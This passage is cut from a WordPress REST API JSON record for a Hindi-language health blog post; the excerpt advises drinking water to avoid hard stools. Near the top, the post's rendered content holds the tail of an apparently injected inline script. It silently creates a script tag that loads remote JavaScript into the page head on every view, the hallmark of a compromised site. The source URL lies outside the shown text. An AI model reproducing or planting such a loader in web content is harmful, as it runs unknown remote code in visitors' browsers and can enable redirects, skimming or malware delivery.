s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u092a\u093e\u0928\u0940 \u0915\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u0915\u092e \u0939\u094b\u0928\u0947 \u0938\u0947 \u0906\u092a\u0915\u093e \u092e\u0932 \u0915\u0920\u094b\u0930 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948\u0964 \u091c\u094d\u092f\u093e\u0926\u093e \u0938\u0947 \u091c\u094d\u092f\u093e\u0926\u093e \u0905\u092a\u0928\u0947 \u0936\u0930\u0940\u0930 \u0915\u094b \u0939\u093e\u0907\u0921\u094d\u0930\u0947\u091f \u0930\u0916\u0928\u0947 \u0915\u0940 \u0915\u094b\u0936\u093f\u0936 \u0915\u0930\u0947\u0902\u0964 \u0926\u093f\u0928 \u092d\u0930 \u092e\u0947\u0902 \u092d\u0930\u092a\u0942\u0930 \u092a\u093e\u0928\u0940 \u092a\u0940\u0928\u0947 \u0938\u0947 \u0906\u092a\u0915\u093e \u092e\u0932 \u0928\u0930\u092e&#8230; <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3145],"tags":[],"_links":{"self":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/9060"}],"collection":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/comments?post=9060"}],"version-history":[{"count":5,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/9060\/revisions"}],"predecessor-version":[{"id":13656,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/posts\/9060\/revisions\/13656"}],"wp:attachment":[{"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/media?parent=9060"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/categories?post=9060"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.healthsrainbow.com\/blog\/wp-json\/wp\/v2\/tags?post=9060"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}